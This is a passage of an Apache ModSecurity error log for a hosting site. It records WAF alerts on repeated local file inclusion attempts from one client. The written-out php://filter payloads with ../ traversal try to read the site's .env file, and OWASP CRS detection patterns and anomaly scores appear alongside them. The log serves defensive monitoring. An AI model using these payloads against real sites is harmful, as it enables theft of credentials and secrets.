"2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l951QAAAAw"]
[Fri Jul 17 08:55:11.990914 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:debug: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l951QAAAAw"]
[Fri Jul 17 08:55:11.990932 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:debug: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l951QAAAAw"]
[Fri Jul 17 08:55:11.991290 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:debug: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l951QAAAAw"]
[Fri Jul 17 08:55:11.991771 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&debug=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%2Fresource%3D..%2F..%2F.env&extra=6-z3750yWdHfwrOgRYYleHsyTOkcsuETE9LsjnXUyLyjLOHgqVScAov8n-Im9Oy9CEzcU_NXojX8sC_7wC0wkBB2JKaDbzgiqDbRZ4ysq5eaIHorOVtEURi_Ys_M6rOakqc-ZBHmNMzl-PoFf2fkNlc7HLgxg1pWGpZB6AJbAHePNMXf1D017tyOU8NScm4o5Yue3UcEmy25WJi87Zsgz7gApFWScl9Ky5-th0GfDsIC9_Z5CtsrggNGnJimNNsdq6UFFkyjmvzgTRFOm6YxUyw3&debug=N7GV2AVZ4O6DP34VL7GG5SOX4PDBJUEPSZNGOOSAMDER7PPGBAG42RZQ4S3E2ACI2GU5WGIYEJ..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sKQAAABQ"]
[Fri Jul 17 08:55:11.991807 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:debug: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sKQAAABQ"]
[Fri Jul 17 08:55:11.991871 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&debug=php://filter/convert.iconv.utf-8.utf-7/resource=../../.env&extra=6-z3750yWdHfwrOgRYYleHsyTOkcsuETE9LsjnXUyLyjLOHgqVScAov8n-Im9Oy9CEzcU_NXojX8sC_7wC0wkBB2JKaDbzgiqDbRZ4ysq5eaIHorOVtEURi_Ys_M6rOakqc-ZBHmNMzl-PoFf2fkNlc7HLgxg1pWGpZB6AJbAHePNMXf1D017tyOU8NScm4o5Yue3UcEmy25WJi87Zsgz7gApFWScl9Ky5-th0GfDsIC9_Z5CtsrggNGnJimNNsdq6UFFkyjmvzgTRFOm6YxUyw3&debug=N7GV2AVZ4O6DP34VL7GG5SOX4PDBJUEPSZNGOOSAMDER7PPGBAG42RZQ4S3E2ACI2GU5WGIYEJ53HAEGZ43K2FHDGVMBFJZ7IX..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sKQAAABQ"]
[Fri Jul 17 08:55:11.991906 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&debug=php://filter/convert.iconv.utf-8.utf-7/resource=../../.env&extra=6-z3750ywdhfwrogryylehsytokcsuete9lsjnxuylyjlohgqvscaov8n-im9oy9cezcu_nxojx8sc_7wc0wkbb2jkadbzgiqdbrz4ysq5eaihorovteuri_ys_m6roakqc-zbhmnmzl-poff2fknlc7hlgxg1pwgpzb6ajbahepnmxf1d017tyou8nscm4o5yue3ucemy25wji87zsgz7gapfwscl9ky5-th0gfdsic9_z5ctsrggngnjimnnsdq6uffkyjmvzgtrfom6yxuyw3&debug=n7gv2avz4o6dp34vl7gg5sox4pdbjuepszngoosamder7ppgbag42rzq4s3e2aci2gu5wgiyej53haegz43k2fhdgvmbfjz7ix..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sKQAAABQ"]
[Fri Jul 17 08:55:11.991940 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:debug: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sKQAAABQ"]
[Fri Jul 17 08:55:11.991966 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:debug: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sKQAAABQ"]
[Fri Jul 17 08:55:11.992363 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:debug: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sKQAAABQ"]
[Fri Jul 17 08:55:11.992383 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l951QAAAAw"]
[Fri Jul 17 08:55:11.992658 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.993016 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl4l9vhFBGA6D8l951QAAAAw"]
[Fri Jul 17 08:55:11.993568 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sKQAAABQ"]
[Fri Jul 17 08:55:11.998986 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.994780 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&debug=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&junk=KJfwDPaXziQa_DpZSqmqH6hQVqpqqHwsjC86ONZltOPL7tcOgVZL_qkwYaT7ThwHKn02z85XwX4GP6nzEdLtlpHIInBFw-1lygrP4C8PFhe7l9E7ktYH3ILd1btE_-sIMdpl_2sWjWqf6lnTA5-pXseSaSiioDqB01BA925U26s9u9nbmobCp6nVi7FSI98mKXjaCIe3euQgM-6cZYh4kJDYLc2kVBWsg0AJqAWucNO6yIP8ceE95SFfv4Z-5ep8hnDzObS_zBl2tAJi0aGn07j0&anything=H7T7RM3QPKGG5MFUWADFEKSVYGNOR74DD3VC7O365NLYSIIWRWSA3UMO74ASZQKMLYMC4AH..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AdQAAAAU"]
[Fri Jul 17 08:55:11.995980 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&debug=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%2Fresource%3D..%2F..%2F..%2F.env&ref=1Ks2mJQuG4g1u4Tf_DXx9OEgTmMVut9g18c-4VCf79JJ7EOWcx5A7Ctm2vWSsRF6ph7ID5n93FvCtsqdVo8UiEqkHDiUQ3aTST9lC4zix8QARvT2Krn7brXV_dvYfU3IG6oIUntEtH8l_lAt_ZO7OsLsAGyQogRQdWNy6El1zgONvayrrscy6LPMcwlmTxp2NUuJtFuQ6lFuTcRU5syOD_jJnXwDd1WT_YdYaHAYj8zd_suwOiUCGKKBe2mLCSbJDwQcZ-9McA7VlETKNktaHPmJ&ts=CBSNFARFOWAQ7U7ETTVVQNEQV5GFAB44ZAD2CHUVAPJGC5XHILCCPPEBJQATHPLHGOYYKC4KQG..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl-Ypb_TFRze2EO3zWwAAAAE"]
[Fri Jul 17 08:55:11.999127 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:debug: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl-Ypb_TFRze2EO3zWwAAAAE"]
[Fri Jul 17 08:55:11.999141 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:debug: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AdQAAAAU"]
[Fri Jul 17 08:55:11.999193 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&debug=php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env&ref=1Ks2mJQuG4g1u4Tf_DXx9OEgTmMVut9g18c-4VCf79JJ7EOWcx5A7Ctm2vWSsRF6ph7ID5n93FvCtsqdVo8UiEqkHDiUQ3aTST9lC4zix8QARvT2Krn7brXV_dvYfU3IG6oIUntEtH8l_lAt_ZO7OsLsAGyQogRQdWNy6El1zgONvayrrscy6LPMcwlmTxp2NUuJtFuQ6lFuTcRU5syOD_jJnXwDd1WT_YdYaHAYj8zd_suwOiUCGKKBe2mLCSbJDwQcZ-9McA7VlETKNktaHPmJ&ts=CBSNFARFOWAQ7U7ETTVVQNEQV5GFAB44ZAD2CHUVAPJGC5XHILCCPPEBJQATHPLHGOYYKC4KQGEMELR7SY5EDFF6EMX7F25RK452..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl-Ypb_TFRze2EO3zWwAAAAE"]
[Fri Jul 17 08:55:11.999209 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&debug=php://filter/convert.base64-encode/resource=../../../.env&junk=KJfwDPaXziQa_DpZSqmqH6hQVqpqqHwsjC86ONZltOPL7tcOgVZL_qkwYaT7ThwHKn02z85XwX4GP6nzEdLtlpHIInBFw-1lygrP4C8PFhe7l9E7ktYH3ILd1btE_-sIMdpl_2sWjWqf6lnTA5-pXseSaSiioDqB01BA925U26s9u9nbmobCp6nVi7FSI98mKXjaCIe3euQgM-6cZYh4kJDYLc2kVBWsg0AJqAWucNO6yIP8ceE95SFfv4Z-5ep8hnDzObS_zBl2tAJi0aGn07j0&anything=H7T7RM3QPKGG5MFUWADFEKSVYGNOR74DD3VC7O365NLYSIIWRWSA3UMO74ASZQKMLYMC4AHYTP2JGOSUQKJVQWBAKIHV3UX45..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AdQAAAAU"]
[Fri Jul 17 08:55:11.999220 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&debug=php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env&ref=1ks2mjqug4g1u4tf_dxx9oegtmmvut9g18c-4vcf79jj7eowcx5a7ctm2vwssrf6ph7id5n93fvctsqdvo8uieqkhdiuq3atst9lc4zix8qarvt2krn7brxv_dvyfu3ig6oiunteth8l_lat_zo7oslsagyqogrqdwny6el1zgonvayrrscy6lpmcwlmtxp2nuujtfuq6lfutcru5syod_jjnxwdd1wt_ydyahayj8zd_suwoiucgkkbe2mlcsbjdwqcz-9mca7vletknktahpmj&ts=cbsnfarfowaq7u7ettvvqneqv5gfab44zad2chuvapjgc5xhilccppebjqathplhgoyykc4kqgemelr7sy5edff6emx7f25rk452..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl-Ypb_TFRze2EO3zWwAAAAE"]
[Fri Jul 17 08:55:11.999238 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&debug=php://filter/convert.base64-encode/resource=../../../.env&junk=kjfwdpaxziqa_dpzsqmqh6hqvqpqqhwsjc86onzltopl7tcogvzl_qkwyat7thwhkn02z85xwx4gp6nzedltlphiinbfw-1lygrp4c8pfhe7l9e7ktyh3ild1bte_-simdpl_2swjwqf6lnta5-pxsesasiiodqb01ba925u26s9u9nbmobcp6nvi7fsi98mkxjacie3euqgm-6czyh4kjdylc2kvbwsg0ajqawucno6yip8cee95sffv4z-5ep8hndzobs_zbl2taji0agn07j0&anything=h7t7rm3qpkgg5mfuwadfeksvygnor74dd3vc7o365nlysiiwrwsa3umo74aszqkmlymc4ahytp2jgosuqkjvqwbakihv3ux45..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AdQAAAAU"]
[Fri Jul 17 08:55:11.999261 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:debug: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl-Ypb_TFRze2EO3zWwAAAAE"]
[Fri Jul 17 08:55:11.999261 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:debug: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AdQAAAAU"]
